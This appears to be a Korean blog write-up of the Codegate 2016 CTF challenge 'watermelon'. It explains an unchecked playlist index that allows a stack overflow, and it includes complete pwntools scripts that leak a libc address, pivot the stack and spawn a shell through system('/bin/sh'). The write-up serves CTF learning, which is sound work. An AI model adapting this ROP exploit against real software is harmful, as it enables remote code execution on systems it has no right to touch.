Codegate 2016 문제 중 하나인 watermelon이다.
<프로그램 결과>
playlist를 추가하고 수정하는 프로그램이다. 3. Modify playlist로 추가하지 않은 index의 playlist를 수정할 수 있는데, 이곳이 취약점으로 발전된다.
<gdb>
3. Modify playlist 로 0번째 목록을 수정하면 위와 같은 상황이 된다.
ebp의 주소가 0xffffc3d8인데 read 함수의 매개변수로 들어가는 주소가 0xffffc3d4이다. music과 artist의 입력 길이가 220이므로 ret를 변조할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | from pwn import * import time repeat_time = 0.5 proc = remote("localhost", 9002) def recv() : proc.recvrepeat(repeat_time) def recv_send(value) : recv() proc.sendline(value) recv_send('hyeon') # name recv_send('3') # modify recv_send('0') # index : 0 recv() # music : AAAABBBB printf@plt - ori_ret - read@got.plt proc.send('AAAABBBB' + p32(0x08048500) + p32(0x8049575) + p32(0x804c00c)) recv_send('b') # artist for i in range(0, 8) : proc.recvline() # get read addr temp = proc.recv()[:4]; read_addr = '' for i in reversed(range(0, 4)) : read_addr += temp[i] read_addr = '0x' + read_addr.encode('hex') print("read addr : " + read_addr) | cs |
<libc python code>
<libc python 결과>
<libc-databse libc 버전>
read함수의 got 값을 이용해서 libc버전을 구할 수 있다. 이를 이용해서 system 함수의 주소를 알아내면 된다.
리틀 엔디안을 고려하여 출력 값을 반전 시켜줘야 한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | from pwn import * import time repeat_time = 0.3 def recv(proc) : return proc.recvrepeat(repeat_time) def recv_send(proc, value) : recv(proc) proc.sendline(value) def func() : proc = remote("localhost", 9002) recv_send(proc, 'hyeon') # name recv_send(proc, '3') # modify recv_send(proc, '0') # index : 0 name_addr = 0x804d7a0 # music : AAAA - BBBB - printf@plt - pop edi - read@got.plt recv(proc) proc.send('AAAA' + 'BBBB' + p32(0x8048500) + p32(0x8049a6a) + p32(0x804c00c)) # artist : name - read@plt - leave & ret - 0(stdin) - name - 20 recv_send(proc, p32(name_addr) + p32(0x080484f0) + p32(0x80496f7) + p32(0) + p32(name_addr) + p32(20)) for i in range(0, 8) : proc.recvline() # check temp = recv(proc)[:4] if len(temp) < 4 : proc.close() return 1 # get system addr & bin/sh addr read_got = '' for i in reversed(range(0, 4)) : read_got += temp[i] read_got = int('0x' + read_got.encode('hex'), 16) print('read_got : ' + hex(read_got)) system_addr = read_got - 0xe4c50 + 0x3de10 sh_addr = read_got - 0xe4c50 + 0x174055 # name : AAAA - system - BBBB - bin/sh proc.send('AAAA' + p32(system_addr) + 'BBBB' + p32(sh_addr)) time.sleep(1) # wait to open shell proc.sendline('ls -l watermelon') print(recv(proc)) return 0 while True : if func() == 0 : break | cs |
<exploit python code>
<pop edi - 0x8049a6a>
맨 처음 ret를 printf@plt로 변조하여 read@got 값을 출력하고 이를 이용해서 system과 /bin/sh의 주소를 구한다. read@got는 ret로 활용할 수 없는데, 그 뒤에 있는 값을 ret로 사용해야 하는 상황이다. 따라서, pop edi를 이용해서 read@got를 edi에 넣고, ebp에 name의 주소를 넣는다.
그 다음 read를 이용해서 name의 값을 "AAAA - system - BBBB - name + 16 - sh"로 변조한다. 그러면, leave를 하면서 esp가 name으로 가게 되고 ret을 통해 system이 실행된다.
페이로드는 다음과 같다.
music & artist : AAAA - BBBB - print@plt - 0x8049a6a - read@got - name - read@plt - leave & ret - 0(stdin) - name - 20
name : AAAA - system - BBBB - /bin/sh
<exploit python 결과>
이상하게 check의 recv에서 값이 잘 넘어오지 않는다. 원인을 파악하지 못해서 일단 반복해서 실행하게 만들었다.
고정되어있는 name 변수를 ebp로 설정하는게 이 풀이의 요지다.
'Hack > 포너블' 카테고리의 다른 글
[CSAW 2017] scv (0) | 2017.09.20 |
---|---|
[포너블] level1 (7) | 2017.03.11 |
[Linux] %?$p 와 64bit 프로그램 매개변수 순서 (0) | 2017.02.21 |
[Codegate 2016] serial (0) | 2017.02.20 |
[Linux] ps | grep & socat & checksec.sh (0) | 2017.02.19 |